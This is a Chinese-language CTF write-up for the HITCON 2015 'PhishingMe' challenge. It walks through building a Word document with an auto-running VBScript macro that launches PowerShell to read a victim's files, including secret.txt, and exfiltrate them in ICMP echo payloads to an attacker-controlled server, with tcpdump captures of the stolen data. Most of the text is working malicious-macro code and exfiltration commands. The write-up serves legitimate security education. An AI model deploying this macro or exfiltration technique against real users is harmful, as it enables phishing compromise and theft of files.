如果你发送一个主题为"HITCON 2015"的.doc文档我会打开!
在我的文件系统中找到flag注:我会为你开启宏^_________________^[email protected]
PhishingMe有趣的介绍告知我们可以在.doc中定义一个VBScript宏钓鱼,Here we go!
准备恶意文件
第一件事,我们需要一个Microsoft Word,这个 .doc文件需要在打开的时候自动运行脚本,
CTF writeup:HITCON–PhishingMe
。过程如下:创建一个.doc文件。并从开发选项单中找到宏选项
创建一个新的宏
我们创建的这个宏需要尝试通过cmd.exe运行一个简单的命令
Sub Auto_Open() Call Debugging End Sub Sub AutoOpen() Call Debugging End Sub Public Function Debugging() As Variant Set objShell = CreateObject("Wscript.Shell") strCmd = "cmd.exe /c ""ping SERVER_IP""" Set objExec = objShell.Exec(strCmd) End Function
把这些放入宏窗口并保存
为了测试命令是否执行,我们来看看我们这边的ping请求:
tcpdump -nXX icmp
保存.doc,重新打开它,然后在服务器上看看ICMP返回的echo request:
10:25:49.351725 IP MY-TEST-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40
Shweet!.doc文件在我们这端是正常运行的,我们再来看看在目标端是否正常运行。接着我们将.doc文件发送到phishing.me.hitcon.2015#gmail.com,等一会之后在来看看通信。
10:29:21.411226 IP VICTIM-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40
命令正常执行,接下来我们该做什么呢?
反复试验
首先试试了常见的CTF比赛策略:上传Shell然后再找flag。我们可以尝试以下使用来自PowershellEmpire的Powershell RAT。经过30 – 45分钟的测试,我们意识到回调函数并未从目标机器传递到我们的服务器上,即使他们运行在本地测试环境中。这其中肯定存在防火墙或者是其他东西阻止这些出站流量。但是我们已经接收到来自服务器的流量…
填充FTW
我们知道ICMP的echo requests已经传到我们的服务器,同时我们还能通过VBScript执行命令。那么这里是否存在什么东西发送ping….Powershell啊?!(我非常兴奋,这是我第一次在CTF中使用Powershell)下面我们就来看看如何发送ICMP的echo request
Microsoft页面对System.Net.NetworkInformation.Ping的定义如下:
似乎我们需要IP address, timeout, 以及a buffer作为参数?
下面我们再来看看ICMP echo request的射频图
事实证明,ICMP echo request中有一个数据缓冲区,这可以通过在第三个参数Send函数中进行设置
在Powershell中调用这个函数:
(New-Object System.Net.NetworkInformation.Ping).Send(server_ip, timeout, buffer)
理论上我们可以通过缓冲区域的命令结果,并从tcpdump输出中看到结果。我们通过ICMP做一个快速dir
powershell "$dir=dir; (New-Object System.Net.NetworkInformation.Ping).Send('SERVER_IP', 1000, $dir)"
在VBScript中替换这个命令应该能够成功
Sub Auto_Open() Call Debugging End Sub Sub AutoOpen() Call Debugging End Sub Public Function Debugging() As Variant Set objShell = CreateObject("Wscript.Shell") strCmd = "powershell ""$dir=dir;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)""" Set objExec = objShell.Exec(strCmd) End Function
丢给目标,得到非常有趣的结果:
10:10:00.816080 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 19, length 75 0x0030: 6773 2050 726f 6772 616d 2046 696c 6573 gs.Program.Files 0x0040: 2050 726f 6772 616d 2046 696c 6573 2028 .Program.Files.( 0x0050: 7838 3629 2055 7365 7273 2057 696e 646f x86).Users.Windo 0x0060: 7773 2073 6563 7265 742e 7478 74 ws.secret.txt
secret.txt是重点啊,将dir替换为type secret.txt,看看有没有啥好结果:
Sub Auto_Open() Call Debugging End SubSub AutoOpen() Call Debugging End Sub Public Function Debugging() As Variant Set objShell = CreateObject("Wscript.Shell") strCmd = "powershell ""$dir=type secret.txt;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)""" Set objExec = objShell.Exec(strCmd) End Function
结果
10:11:35.383781 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 20, length 52 ... 0x0020: .... .... .... .... .... 6869 7463 6f6e hitcon 0x0030: 7b6d 3463 7230 5f6d 6131 7761 7265 5f31 {m4cr0_ma1ware_1 0x0040: 735f 6d34 6b31 6e67 5f61 5f63 306d 6562 s_m4k1ng_a_c0meb 0x0050: 3463 6b21 217d 4ck!!}
在这里我们找到
hitcon{m4cr0_ma1ware_1s_m4k1ng_a_c0meb4ck!!}
很酷的一个挑战,特别是使用PowerShell